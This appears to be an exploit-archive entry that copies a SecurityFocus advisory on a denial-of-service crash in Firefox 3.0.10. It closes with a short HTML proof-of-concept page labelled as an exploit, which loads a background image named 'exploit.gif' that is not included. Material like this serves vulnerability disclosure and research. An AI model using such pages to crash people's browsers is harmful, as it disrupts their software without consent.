source: http://www.securityfocus.com/bid/35280/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Firefox 3.0.10 is affected; other versions may also be vulnerable. 

<!-- Firefox 3.0.10 DOS exploit, discovered by Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) http://y3dips.echo.or.id //--> <html> <head> <title>Firefox Exploit</title> <body background="exploit.gif"> </body> </html> 